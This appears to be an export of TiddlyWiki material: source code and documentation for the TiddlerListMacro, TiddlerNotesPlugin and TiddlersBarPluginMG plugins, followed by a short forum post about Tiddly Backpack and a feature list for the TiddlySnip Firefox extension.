 list : [ "%0\n", "* %0\n", "", "%group\n", "%0\n"],
 nlist : [ "%0", "# %0\n", "", "%group\n", "%0\n"],
 span : [ "%0", "%0", " ", "%group", "%0"],
 stack : [ "%0", "%0", "\n", "%group", "%0"],
 csv : [ "%0", "%0", ", ", "%0", "%0\n"],
 table : ["|!%0|\n", "|%0|\n", "", "|%group|\n", "|%0|\n"]
 },
 dateFormat : "DD MMM YYYY"
}

if (typeof gCurrentTiddler == 'undefined')
 var gCurrentTiddler;

config.macros.tiddlerList.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
 // Some globals
 var count=0, groupCount=0, theGroup="", lastGroup="", firstInGroup = false;
 var currentTiddler = tiddler;
 gCurrentTiddler = tiddler;
 var listWikiText="";
 var formats = this.formats;
 
 // SQL-Like parameters
 var parameters = paramString.parseParams("name",null,true);
 var pTags = parameters[0]["tags"]?parameters[0]["tags"][0].split(","):[];
 var pOrder = parameters[0]["order"]?parameters[0]["order"][0]:"title";
 var pTop = parameters[0]["top"]?parameters[0]["top"][0]:-1;
 var pText = parameters[0]["text"]?parameters[0]["text"][0]:"";
 var pTitle = parameters[0]["title"]?parameters[0]["title"][0]:"";
 var pSearch = parameters[0]["search"]?parameters[0]["search"][0]:"";
 var pFilter = parameters[0]["filter"]?parameters[0]["filter"][0]:"";
 var pHeader = parameters[0]["header"]?paramFormat(parameters[0]["header"][0]):"";
 var pFooter = parameters[0]["footer"]?paramFormat(parameters[0]["footer"][0]):"";
 var pGroup = parameters[0]["group"]?parameters[0]["group"][0]:"";
 var pDateFormat = parameters[0]["dateFormat"]?parameters[0]["dateFormat"][0]:this.dateFormat;
 var pCustomParameter = parameters[0]["customParameter"]?parameters[0]["customParameter"][0]:"";
 var pFormat = parameters[0]["format"]?parameters[0]["format"][0]:"list";
 pFormat = formats[pFormat]?pFormat:"list"
 
 // Separator
 var pSeparator = parameters[0]["separator"]?paramFormat(parameters[0]["separator"][0]):(parameters[0]["seperator"]?paramFormat(parameters[0]["seperator"][0]):this.templates[pFormat][2])

 // Template for group
 var pGroupTemplate = this.templates[pFormat][3];
 if (parameters[0]["groupTemplate"])
 pGroupTemplate = paramFormat(parameters[0]["groupTemplate"][0])
 pGroupTemplate = pGroupTemplate.replace("$))", ">>")
 
 // Template for group footer
 var pGroupFooterTemplate = "";
 if (parameters[0]["groupFooterTemplate"])
 pGroupFooterTemplate = paramFormat(parameters[0]["groupFooterTemplate"][0])
 pGroupFooterTemplate = pGroupFooterTemplate.replace("$))", ">>")
 
 // Template for item
 var pItemTemplate = this.templates[pFormat][1];
 if (parameters[0]["itemTemplate"])
 pItemTemplate = paramFormat(parameters[0]["itemTemplate"][0])
 pItemTemplate = pItemTemplate.replace("$))", ">>").replace("%link", "%0").replace("%item", "%1").replace("%abstract", "%2").replace("%text", "%3").replace("%created", "%4").replace("%modified", "%5").replace("%modifier", "%6").replace("%group", "%7").replace("%title", "%8").replace("%tags", "%9").replace("%nolink", "%10").replace("%custom", "%11")
 // Template for footer
 var pFooterTemplate = this.templates[pFormat][4].replace("%count", "%1")

 // Get all tiddlers
 var tiddlers = store.reverseLookup("tags","excludeLists",false);

 // Sorting
 if(!pOrder)
 pOrder = "title";
 if (pOrder.match(/^\-/i)) {
 pOrder = pOrder.substr(1)
 var sortDesc = true;
 }
 // Sorting on a standard field
 if (pOrder.match(/(title)|(text)|(modifier)|(modified)|(created)|(tags)/))
  if (sortDesc)
   tiddlers.sort(function (a,b) {if(a[pOrder] == b[pOrder]) return(0); else return (a[pOrder] > b[pOrder]) ? -1 : +1; });
  else
  tiddlers.sort(function (a,b) {if(a[pOrder] == b[pOrder]) return(0); else return (a[pOrder] < b[pOrder]) ? -1 : +1; });
 else
  if (sortDesc)
   tiddlers.sort(function (a,b) {if(a.fields[pOrder] == b.fields[pOrder]) return(0); else return (a.fields[pOrder] > b.fields[pOrder]) ? -1 : +1; });
  else
   tiddlers.sort(function (a,b) {if(a.fields[pOrder] == b.fields[pOrder]) return(0); else return (a.fields[pOrder] < b.fields[pOrder]) ? -1 : +1; });

 // Header
 if (pHeader)
 listWikiText += formatItem(this.templates[pFormat][0], [pHeader], pFormat)
 
 for(var t=0; t<tiddlers.length; t++) {
 tiddler = tiddlers[t];
 if (pText!="" && tiddler.text=="") tiddler.text=store.getValue(tiddler, 'text')
 if (pTop==-1 || count<pTop) {
 if (pText=="" || tiddler.text.match(pText)) {
 if (pTitle=="" || tiddler.title.match(pTitle)) {
 if (pSearch=="" || (tiddler.title.match(pSearch) || tiddler.text.match(pSearch))) {
 if (pFilter=="" || eval(pFilter)) {
 if (pTags.length==0 || compareArrays(tiddler.tags, pTags, "all")) {
 count++;
 if (tiddler.text=="") tiddler.text=store.getValue(tiddler, 'text')
 // Grouping
 if (pGroup) {
 theGroup = eval(pGroup);
 if(theGroup != lastGroup) {
 groupCount++;firstInGroup = true;
 if (pGroupFooterTemplate && groupCount>1)
 listWikiText += pGroupFooterTemplate.replace("%group", theGroup)
 listWikiText += pGroupTemplate.replace("%group", theGroup)
 lastGroup = theGroup;
 } else
  firstInGroup = false;
 }
 // Separators
 if (count>1 && !firstInGroup) listWikiText += pSeparator;
 //Plaintext title
 var noLink = tiddler.title.match(config.textPrimitives.wikiLink)?"~" + tiddler.title:tiddler.title;
 // Custom parameter
 if (pCustomParameter)
 var custom="";
 try {
 custom = eval(pCustomParameter)
 } catch (e) {}
 // List individual tiddler
 var strItem = formatItem(pItemTemplate,["[[" + tiddler.title + "]]",count,tiddler.text.substr(0,150),tiddler.text,tiddler.created.formatString(pDateFormat),tiddler.modified.formatString(pDateFormat),tiddler.modifier,theGroup,tiddler.title,tiddler.tags.join(" "),noLink,custom], pFormat)
 for (var fld in tiddler.fields) strItem = strItem.replace('%field.' + fld, tiddler.fields[fld]);
 listWikiText += strItem
 }
 }
 }
 }
 }
 }
 }
 
 // Last group footer
 if (pGroup && pGroupFooterTemplate && count>0)
 listWikiText += pGroupFooterTemplate.replace("%group", theGroup)

 // Footer
 if (pFooter) {
 pFooter = pFooter.replace("%count", count)
 listWikiText += formatItem(pFooterTemplate, [pFooter], pFormat)
 }
 
 // Render result
 if (!parameters[0]["debug"])
 wikify(listWikiText,place, null, currentTiddler)
 else
 place.innerHTML = "<textarea style=\"width:100%;\" rows=100>" + listWikiText + "</textarea>"
 
 
 // Local functions
 
 function paramFormat(param) {
 // Allow "\n" in non evalled parameters
 return param.replace(/\\n/g, "\n");
 }
 
 function formatItem(template, values, format) {
 // Fill template with values (depending on list format)
 if (format.match(/table/) && values[0].match(/\|/))
 return ("%0\n").format(values)
 else
 return template.format(values)
 }
 
 function compareArrays(array, values, logic) {
 // Compare items in array with AND("all") or OR("any") logic
 var matches=0;
 for(var v=0; v<values.length; v++) 
 if(values[v].replace(/^\s+|\s+$/g,"").match(/^\-/) && !array.contains(values[v].replace(/^\s+|\s+$/g,"").substr(1)))
 matches++;
 else if (array.contains(values[v]))
 matches++;
 return ((logic=="all" && matches==values.length) || (logic!="all" && matches>0))
 }
 
}

String.prototype.prettyTrim = function(len,prefix,postfix) {
 var result = this.trim().replace(/\r\n/g,' ').replace(/\n/g,' ');
 if (!prefix) prefix = '';
 if (!postfix) postfix = '';
 if (result.length > len - 3)
 return prefix + result.substr(0,len) + '...' + postfix;
 else if (result.length > 0)
 return prefix + result + postfix;
 else
 return result;
}

//}}}
!Description
The TiddlerListMacro lists tiddlers with ~SQL-Like features:
* List tiddlers containing a word in the title or text (case-sensitive)
* List tiddlers tagged with given tags or exclude certain tags
* Ascending and descending sorting of single fields
* Limit number of tiddlers displayed
* Specify different HTML formats for the lists
* Grouping of items in a list
* Customizable wiki templates
* Numbering and totals
!Revision History
* Original by [[Jack]] 17-Apr-2006
* Added formatting (v2.0.1 18-Apr-2006)
* Added grouping (v2.0.2 18-Apr-2006)
* Added flexible filtering (v2.0.3 19-Apr-2006)
* Added custom item templates (v2.0.4 20-Apr-2006)
* Added custom templates (v2.0.5 21-Apr-2006)
* Allow evalled parameters (v2.0.7 23-Apr-2006)
* Allow groupFooterTemplate (v2.0.9 30-Apr-2006)
* Added the customParameter (v2.0.10 2-May-2006)
!To Do
* Case-insensitive searching
* Sorting on multiple fields
!Usage
{{{<<tiddlerList parameter1:"value1" parameter2:"value2" ...>>}}}
!Examples ([[TiddlerListMacroExamples]])
List all tiddlers tagged with "Plugin"
{{{<<tiddlerList tags:Plugin>>}}}
List newest 3 plugins which are not templates:
{{{<<tiddlerList tags:"Plugin,-Template" top:3 order:"-created">>}}}
List all tiddlers containing "Jack" in their title or text (last modified first):
{{{<<tiddlerList search:"Jack" order:"-modified">>}}}
List all tiddlers starting with "T" in a table:
{{{<<tiddlerList title:"^T" format:"table" header:"Tiddlers beginning with T" footer:"%count items listed">>}}}
Group tiddlers by first letter
{{{<<tiddlerList top:"15" group:"tiddler.title.substr(0,1)" groupTemplate:"''%group''">>}}}
Show a list of all tiddlers with creation date (overrides default item template)
{{{<<tiddlerList itemTemplate:"* %link (%created)\n">>}}}
Show all tiddlers that have the host's tiddler title in their tag list
{{{<<tiddlerList filter:"tiddler.tags.contains(currentTiddler.title)">>}}}
!Parameters
|!Parameter|!Type|!Meaning|!Example|
|top|Integer|Number of tiddlers to display|"10"|
|tags|String|List tiddlers with matching tags (AND Logic). Leading - to exclude.|"~ToDo,Urgent,-Done"|
|title|~RegEx|List tiddlers with matching title|"^[Pp]"|
|text|~RegEx|List tiddlers with matching text|"Searchtext"|
|search|~RegEx|List tiddlers with matching title OR text|"Problem"|
|filter*|~JavaScript|List tiddlers according to boolean expression)|"tiddler.title.length<4 && tiddler.tags.contains('Idea')"|
|format|String (fixed list)|HTML formatting of list. list (ul, default), nlist (ol), span, stack (div), csv, table.|"list"|
|order|String|Sort order of tiddlers. - is descending, + ascending|"-created"|
|group*|~JavaScript|Grouping field|tiddler.title.substr(0,1)|
|customParameter*|~JavaScript|Custom parameter to be evalled for use in the itemTemplate|tiddler.text.match(/Version: (.*)/)[1]|
|header|String|Top caption|"Tiddlers beginning with T"|
|footer|String|Bottom caption|"End of list"|
|itemTemplate|~WikiTemplate|~WikiText with %placeholders|"%link\n%abstract\n%modified"|
|groupTemplate|~WikiTemplate|~WikiText with %placeholders for the start of each group|"!!%group"|
|groupFooterTemplate|~WikiTemplate|~WikiText with %placeholders for the end of each group|"----\n"|
|dateFormat|String|Date formatting string when displaying dates|~YYYY-MM-DD|
|separator|String|Define a string or character to be inserted between items listed|" "|
|debug|Boolean|Set to 1 or true for debug mode where only wikitext will be output|debug:1|
{{{*}}} Parameter will be evalled (do not pass with {{{{{ }} }}} unless you want it evalled twice!)
!Template Placeholders
Placeholder values for itemTemplate parameter
|!Placeholder|!Field|
|%item|List item number|
|%link|Link to Tiddler {{{[[MyTiddler]]}}}|
|%title|Tiddler Name {{{MyTiddler}}}|
|%nolink|Unlinked Tiddler Title {{{~MyTiddler}}}|
|%abstract|First 300 chars of tiddler text|
|%text|All tiddler text|
|%tags|Tags separated by space|
|%created|Creation date|
|%modified|Modified date|
|%modifier|Last modifier|
|%group|Name of group field|
|%custom|The result of your evalled customParameter|
|%count|Number of items listed (footer only)|
!Variables
{{{{{currentTiddler}} }}}refers to the current (host) tiddler in function scope (i.e. within the filter or group parameters)
{{{{{gCurrentTiddler}} }}}refers to the current (host) tiddler in global scope (i.e. within{{{ {{}} }}}evalled parameters. Example:
{{{<<tiddlerList tags:{{gCurrentTiddler.title}}>>}}}
!Style
No styles are pre-assigned to the lists. Use {{{@@}}} notation to define custom styles in the header, footer, groupTemplate and itemTemplate parameters.

Source: [[Jack's TiddlyWiki - Plugins, Macros and Hacks|http://jackparke.googlepages.com/jtw.html#TiddlerListMacro]]
/***
|''Name:''|TiddlerNotesPlugin|
|''Description:''|Add notes to tiddlers without modifying the original content|
|''Author:''|Saq Imtiaz ( lewcid@gmail.com )|
|''Source:''|http://tw.lewcid.org/#TiddlerNotesPlugin|
|''Code Repository:''|http://tw.lewcid.org/svn/plugins|
|''Version:''|2.1|
|''Date:''|26/10/07|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.2.3|

!!Concept:
*The TiddlerNotesPlugin allows you to add notes to tiddlers, without needing to edit the original tiddler. This means that your original content will remain unaltered, and if you update it in the future, you won’t lose your notes. Notes are stored in separate tiddlers, but can be viewed and edited from within the original tiddler.
*For a tiddler titled "~MySlide", the notes are by default saved in a tiddler titled "~MySlide-Notes" and is given a tag of "Notes". The suffix and tags of the notes tiddlers are customizable. You can have one or multiple notes per tiddlers. So it is possible to have for example, teacher's notes and student's notes in the same file.
*Notes can be configured to start off blank, or pre-filled with the contents of the original tiddler.

!!Usage:
*{{{<<notes>>}}} is the simplest usage form.
* additional optional parameters include:
**{{{heading:}}} the heading to use for the notes box
**{{{tag:}}} the tag to be given to the notes tiddler
**{{{suffix:}}} the suffix to be used when naming the notes tiddler
* a full macro call could look like: {{{<<notes heading:"My Notes" tag:"NoteTiddlers" suffix:"Comments">>}}}
* To avoid adding {{{<<notes>>}}} to each tiddler you want notes for, you could add the macro call to the ViewTemplate
** below the line {{{<div class='viewer' macro='view text wikified'></div>}}} add the following line: <br> {{{<div class='viewer' macro='notes'></div>}}}
** Used in combination with the ~HideWhenPlugin or ~PublisherPlugin, you could have notes be shown only for tiddlers with specific tags. The ~PublisherPlugin would allow you for instance to only have the ~TeachersNotes visible to the teacher, and the ~StudentsNotes for the same tiddler visible to the Student.

!!Configuration
*<<option chkPrefillNotes>> Enable to pre-fill notes with the original tiddler's contents

!!Demo:
* [[MySlide]]

***/
// /%
//!BEGIN-PLUGIN-CODE

if (!config.options.chkPrefillNotes)
	config.options.chkPrefillNotes = false;
	
function createTiddlyElement(theParent,theElement,theID,theClass,theText,attribs)
{
	var e = document.createElement(theElement);
	if(theClass != null)
		e.className = theClass;
	if(theID != null)
		e.setAttribute("id",theID);
	if(theText != null)
		e.appendChild(document.createTextNode(theText));
	if(attribs){
		for(var n in attribs){
			e.setAttribute(n,attribs[n]);
		}
	}
	if(theParent != null)
		theParent.appendChild(e);
	return e;
}

function createTiddlyButton(theParent,theText,theTooltip,theAction,theClass,theId,theAccessKey,attribs)
{
	var theButton = document.createElement("a");
	if(theAction) {
		theButton.onclick = theAction;
		theButton.setAttribute("href","javascript:;");
	}
	if(theTooltip)
		theButton.setAttribute("title",theTooltip);
	if(theText)
		theButton.appendChild(document.createTextNode(theText));
	if(theClass)
		theButton.className = theClass;
	else
		theButton.className = "button";
	if(theId)
		theButton.id = theId;
	if(attribs){
		for(var n in attribs){
			e.setAttribute(n,attribs[n]);
		}
	}
	if(theParent)
		theParent.appendChild(theButton);
	if(theAccessKey)
		theButton.setAttribute("accessKey",theAccessKey);
	return theButton;
}

config.macros.notes={
	
	cancelWarning: "Are you sure you want to abandon changes to your notes for '%0'?",
	editLabel: "edit notes",
	editTitle: "double click to edit",
	saveLabel: "save notes",
	saveTitle: "double click to save",
	cancelLabel: "cancel",
	heading: "Notes",
	suffix: "Notes",
	tag: "Notes",
	
	saveNotes: function(ev){
		e = ev? ev : window.event;
		var theTarget = resolveTarget(e);
		if (theTarget.nodeName.toLowerCase() == "textarea")
			return false;
		var title = story.findContainingTiddler(theTarget).getAttribute("tiddler");
		story.setDirty(title,false);
		var box = document.getElementById("notesContainer"+title);
		var textarea = document.getElementById("notesTextArea"+title);
		if(textarea.getAttribute("oldText")!=textarea.value && !hasClass(theTarget,"cancelNotesButton")){
			var suffix = box.getAttribute("suffix");
			var t = store.getTiddler(title+"-"+suffix);
			store.saveTiddler(title+"-"+suffix,title+"-"+suffix,textarea.value,config.options.txtUserName,new Date(),t?t.tags:box.getAttribute("tag"),t?t.fields:{});
		}
		story.refreshTiddler(title,1,true);
		autoSaveChanges(true);
		return false;
	},
	
	editNotes: function(box,tiddler){
		removeChildren(box);
		story.setDirty(tiddler,true);
		box.title = this.saveTitle;
		box.ondblclick = this.saveNotes;
		createTiddlyButton(box,this.cancelLabel,this.cancelLabel,this.saveNotes,"cancelNotesButton");
		createTiddlyButton(box,this.saveLabel,this.saveLabel,this.saveNotes,"saveNotesButton");
		wikify("!!"+box.getAttribute("heading")+"\n",box);
		addClass(box,"editor");
		var wrapper1 = createTiddlyElement(null,"fieldset",null,"fieldsetFix");
		var wrapper2 = createTiddlyElement(wrapper1,"div");
		var e = createTiddlyElement(wrapper2,"textarea","notesTextArea"+tiddler);
		var v = store.getValue(tiddler+"-"+box.getAttribute("suffix"),"text");
		if(!v) 
			v = config.options.chkPrefillNotes? store.getValue(tiddler,"text"):'';
		e.value = v;
		e.setAttribute("oldText",v);
		var rows = 10;
		var lines = v.match(/\n/mg);
		var maxLines = Math.max(parseInt(config.options.txtMaxEditRows),5);
		if(lines != null && lines.length > rows)
			rows = lines.length + 5;
		rows = Math.min(rows,maxLines);
		e.setAttribute("rows",rows);
		box.appendChild(wrapper1);
	},
	
	editNotesButtonOnclick: function(e){
		var title = story.findContainingTiddler(this).getAttribute("tiddler");
		var box = document.getElementById("notesContainer"+title);
		config.macros.notes.editNotes(box,title);
		return false;
	},
	
	ondblclick : function(ev){
		e = ev? ev : window.event;
		var theTarget = resolveTarget(e);
		var title = story.findContainingTiddler(theTarget).getAttribute("tiddler");
		var box = document.getElementById("notesContainer"+title);
		config.macros.notes.editNotes(box,title);
		e.cancelBubble = true;
		if(e.stopPropagation) e.stopPropagation();
		return false;
	},
	
	handler : function(place,macroName,params,wikifier,paramString,tiddler){
		
		params = paramString.parseParams("anon",null,true,false,false);
		var heading = getParam(params,"heading",this.heading);
		var tag = getParam(params,"tag",this.tag);
		var suffix = getParam(params,"suffix",this.suffix);
		var box = createTiddlyElement(place,"div","notesContainer"+tiddler.title,"TiddlerNotes",null,{"source":tiddler.title,params:paramString,heading:heading,tag:tag,suffix:suffix});
		createTiddlyButton(box,this.editLabel,this.editLabel,this.editNotesButtonOnclick,"editNotesButton");
		wikify("!!"+heading+"\n",box);
		box.title=this.editTitle;
		box.ondblclick = this.ondblclick;
		wikify("<<tiddler [["+tiddler.title+"-"+suffix+"]]>>",box);
	}		
};

Story.prototype.old_notes_closeTiddler = Story.prototype.closeTiddler;
Story.prototype.closeTiddler = function(title,animate,unused){
	if(story.isDirty(title)) {
		if(!confirm(config.macros.notes.cancelWarning.format([title])))
			return false;
	}
	return this.old_notes_closeTiddler.apply(this,arguments);
}

setStylesheet(".TiddlerNotes {\n"+ " background:#eee;\n"+ " border:1px solid #ccc;\n"+ " padding:10px;\n"+ " margin:15px;\n"+ "}\n"+ "\n"+ ".cancelNotesButton,.editNotesButton, .saveNotesButton {\n"+ " float:right;\n"+ " border:1px solid #ccc;\n"+ " padding:2px 5px;\n"+ "}\n"+ "\n"+ ".saveNotesButton{\n"+ " margin-right:0.5em;\n"+ "}\n"+ "\n"+ ".TiddlerNotes.editor textarea{\n"+ " border:1px solid #ccc;\n"+ "}","NotesPluginStyles");
//!END-PLUGIN-CODE
// %/
/***
|''Name:''|TiddlersBarPluginMG|
|''Description:''|A bar to switch between tiddlers through tabs (like browser tabs bar).|
|''Version:''|1.2.5|
|''Date:''|Jan 18,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0, others|

!Demos
On [[homepage|http://visualtw.ouvaton.org/VisualTW.html]], open several tiddlers to use the tabs bar.
!Installation
#import this tiddler from [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] (tagged as systemConfig)
#save and reload
#''if you're using a custom [[PageTemplate]]'', add {{{<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>}}} before {{{<div id='tiddlerDisplay'></div>}}}
#optionally, adjust StyleSheetTiddlersBar
!Tips
*Doubleclick on the tiddlers bar (where there is no tab) create a new tiddler.
*Tabs include a button to close {{{x}}} or save {{{!}}} their tiddler.
*By default, click on the current tab close all others tiddlers.
!Configuration options 
<<option chkDisableTabsBar>> Disable the tabs bar (to print, by example).
<<option chkHideTabsBarWhenSingleTab >> Automatically hide the tabs bar when only one tiddler is displayed. 
<<option txtSelectedTiddlerTabButton>> ''selected'' tab command button.
<<option txtPreviousTabKey>> previous tab access key.
<<option txtNextTabKey>> next tab access key.
!Code
***/
//{{{

config.options.chkDisableTabsBar = config.options.chkDisableTabsBar ? config.options.chkDisableTabsBar : false;
config.options.chkHideTabsBarWhenSingleTab  = config.options.chkHideTabsBarWhenSingleTab  ? config.options.chkHideTabsBarWhenSingleTab  : false;
config.options.txtSelectedTiddlerTabButton = config.options.txtSelectedTiddlerTabButton ? config.options.txtSelectedTiddlerTabButton : "jump";
config.options.txtPreviousTabKey = config.options.txtPreviousTabKey ? config.options.txtPreviousTabKey : "";
config.options.txtNextTabKey = config.options.txtNextTabKey ? config.options.txtNextTabKey : "";
config.macros.tiddlersBar = {
	tooltip : "see ",
	tooltipClose : "click here to close this tab",
	tooltipSave : "click here to save this tab",
	promptRename : "Enter tiddler new name",
	currentTiddler : "",
	previousState : false,
	previousKey : config.options.txtPreviousTabKey,
	nextKey : config.options.txtNextTabKey,	
	tabsAnimationSource : null, //use document.getElementById("tiddlerDisplay") if you need animation on tab switching.
	handler: function(place,macroName,params) {
		var previous = null;
		if (config.macros.tiddlersBar.isShown())
			story.forEachTiddler(function(title,e){
				if (title==config.macros.tiddlersBar.currentTiddler){
					var d = createTiddlyElement(null,"span",null,"tab tabSelected");
					config.macros.tiddlersBar.createActiveTabButton(d,title);
					if (previous && config.macros.tiddlersBar.previousKey) previous.setAttribute("accessKey",config.macros.tiddlersBar.nextKey);
					previous = "active";
				}
				else {
					var d = createTiddlyElement(place,"span",null,"tab tabUnselected");
					var btn = createTiddlyButton(d,title,config.macros.tiddlersBar.tooltip + title,config.macros.tiddlersBar.onSelectTab);
					btn.setAttribute("tiddler", title);
					if (previous=="active" && config.macros.tiddlersBar.nextKey) btn.setAttribute("accessKey",config.macros.tiddlersBar.previousKey);
					previous=btn;
				}
				var isDirty =story.isDirty(title);
				var c = createTiddlyButton(d,isDirty ?"!":"x",isDirty?config.macros.tiddlersBar.tooltipSave:config.macros.tiddlersBar.tooltipClose, isDirty ? config.macros.tiddlersBar.onTabSave : config.macros.tiddlersBar.onTabClose,"tabButton");
				c.setAttribute("tiddler", title);
				if (place.childNodes) {
					place.insertBefore(document.createTextNode(" "),place.firstChild); // to allow break line here when many tiddlers are open
					place.insertBefore(d,place.firstChild); 
				}
				else place.appendChild(d);
			})
	}, 
	refresh: function(place,params){
		removeChildren(place);
		config.macros.tiddlersBar.handler(place,"tiddlersBar",params);
		if (config.macros.tiddlersBar.previousState!=config.macros.tiddlersBar.isShown()) {
			story.refreshAllTiddlers();
			if (config.macros.tiddlersBar.previousState) story.forEachTiddler(function(t,e){e.style.display="";});
			config.macros.tiddlersBar.previousState = !config.macros.tiddlersBar.previousState;
		}
	},
	isShown : function(){
		if (config.options.chkDisableTabsBar) return false;
		if (!config.options.chkHideTabsBarWhenSingleTab) return true;
		var cpt=0;
		story.forEachTiddler(function(){cpt++});
		return (cpt>1);
	},
	selectNextTab : function(){  //used when the current tab is closed (to select another tab)
		var previous="";
		story.forEachTiddler(function(title){
			if (!config.macros.tiddlersBar.currentTiddler) {
				story.displayTiddler(null,title);
				return;
			}
			if (title==config.macros.tiddlersBar.currentTiddler) {
				if (previous) {
					story.displayTiddler(null,previous);
					return;
				}
				else config.macros.tiddlersBar.currentTiddler=""; 	// so next tab will be selected
			}
			else previous=title;
			});		
	},
	onSelectTab : function(e){
		var t = this.getAttribute("tiddler");
		if (t) story.displayTiddler(null,t);
		return false;
	},
	onTabClose : function(e){
		var t = this.getAttribute("tiddler");
		if (t) {
			if(story.hasChanges(t) && !readOnly) {
				if(!confirm(config.commands.cancelTiddler.warning.format([t])))
				return false;
			}
			story.closeTiddler(t);
		}
		return false;
	},
	onTabSave : function(e) {
		var t = this.getAttribute("tiddler");
		if (!e) e=window.event;
		if (t) config.commands.saveTiddler.handler(e,null,t);
		return false;
	},
	onSelectedTabButtonClick : function(event,src,title) {
		var t = this.getAttribute("tiddler");
		if (!event) event=window.event;
		if (t && config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton])
			config.commands[config.options.txtSelectedTiddlerTabButton].handler(event, src, t);
		return false;
	},
	onTiddlersBarAction: function(event) {
		var source = event.target ? event.target.id : event.srcElement.id; // FF uses target and IE uses srcElement;
		if (source=="tiddlersBar") story.displayTiddler(null,'New Tiddler',DEFAULT_EDIT_TEMPLATE,false,null,null);
	},
	createActiveTabButton : function(place,title) {
		if (config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton]) {
			var btn = createTiddlyButton(place, title, config.commands[config.options.txtSelectedTiddlerTabButton].tooltip ,config.macros.tiddlersBar.onSelectedTabButtonClick);
			btn.setAttribute("tiddler", title);
		}
		else
			createTiddlyText(place,title);
	}
}

story.coreCloseTiddler = story.coreCloseTiddler? story.coreCloseTiddler : story.closeTiddler;
story.coreDisplayTiddler = story.coreDisplayTiddler ? story.coreDisplayTiddler : story.displayTiddler;

story.closeTiddler = function(title,animate,unused) {
	if (title==config.macros.tiddlersBar.currentTiddler)
		config.macros.tiddlersBar.selectNextTab();
	story.coreCloseTiddler(title,false,unused); //disable animation to get it closed before calling tiddlersBar.refresh
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

story.displayTiddler = function(srcElement,tiddler,template,animate,unused,customFields,toggle){
	story.coreDisplayTiddler(config.macros.tiddlersBar.tabsAnimationSource,tiddler,template,animate,unused,customFields,toggle);
	var title = (tiddler instanceof Tiddler)? tiddler.title : tiddler;  
	if (config.macros.tiddlersBar.isShown()) {
		story.forEachTiddler(function(t,e){
			if (t!=title) e.style.display="none";
			else e.style.display="";
		})
		config.macros.tiddlersBar.currentTiddler=title;
	}
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

var coreRefreshPageTemplate = coreRefreshPageTemplate ? coreRefreshPageTemplate : refreshPageTemplate;
refreshPageTemplate = function(title) {
	coreRefreshPageTemplate(title);
	if (config.macros.tiddlersBar) config.macros.tiddlersBar.refresh(document.getElementById("tiddlersBar"));
}

ensureVisible=function (e) {return 0} //disable bottom scrolling (not useful now)

config.shadowTiddlers.StyleSheetTiddlersBar = "/*{{{*/\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .button {border:0}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .tab {white-space:nowrap}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar {padding : 1em 0.5em 2px 0.5em}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tabUnselected .tabButton, .tabSelected .tabButton {padding : 0 2px 0 2px; margin: 0 0 0 4px;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tiddler, .tabContents {border:1px [[ColorPalette::TertiaryPale]] solid;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar +="/*}}}*/";
store.addNotification("StyleSheetTiddlersBar", refreshStyles);

config.refreshers.none = function(){return true;}
config.shadowTiddlers.PageTemplate=config.shadowTiddlers.PageTemplate.replace(/<div id='tiddlerDisplay'><\/div>/m,"<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>\n<div id='tiddlerDisplay'></div>");

//}}}
I though you might be interested in this TiddlyWiki derivative called
Tiddly Backpack.

I build it to keep track of the notes I create releated to programming
on a daily basis. It's based on 37signals backpack, i.e. it's page
based and you can drag and drop sections around the screen.

http://www.tiddlybackpack.com


Source: [[Tiddly Backpack - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/aac1387f27cd7d9]]
[[TiddlyFolio - Welcome to TiddlySpot|file:///C:/Users/MORRIS~1/AppData/Local/Temp/tiddlyfolio.html#%5B%5BWelcome%20to%20TiddlySpot%5D%5D]]
!!!!<<gradient horiz #fcb #fff>>&nbsp;[[About TiddlySnip|TiddlySnip]]>>
''TiddlySnip is a Firefox extension that lets you'' use your ~TiddlyWiki as a scrapbook! Simply select text, right click and choose @@color:#C06;''~TiddlySnip selection''@@.|  The next time you open your ~TiddlyWiki file, your snippets will be there, already tagged and organised.|

!!!!<<gradient horiz  #fcb #fff>>&nbsp;Features of ~TiddlySnip>>
|Specify default tag(s) to add to each snippet tiddler, for easier management of snippets in TW.|
|Specify username to set as tiddler modifier.|
|Optionally create a link in each tiddler, back to the source document.|
|Optionally preview tiddler title, text and tags and make any necessary changes before saving.|
|Offers the ability to overwrite or append text, when a tiddler with the chosen title already exists.|
|Save text from the clipboard.|
|TiddlySnip this page" option to save bookmarks.|
|Optionally create backups before every save.|
|Optionally specify custom backup folder.|
|Optionally view ~TiddlyWiki after saving snippet, with the relevant tiddler open.|
|Open ~TiddlyWiki in new tab or window.|
|Optional advanced mode with multiple snippet categories:|
|Creates extended fields in the snippet tiddlers, that could be used later for an alternative form of snippet management.|
|Compatibile with Bidix's UploadService, so you can save to TiddlyWiki files hosted online, ala TiddlySpot.|

|bgcolor:#eee;Define snippet categories with corresponding tags, to enable saving snippets that are automatically tagged and sorted in ~TiddlyWiki according to content. For example, a category could be "JavaScript" and the corresponding tags could be something like: "Code JS Programming". That way when the snippet is saved as a tiddler, you don't need to go around tagging it in ~TiddlyWiki later. Similarly, use a category called "~TW plugin" to save tiddlers with the tag "systemConfig". One click TiddlyWiki plugin installation!|
----
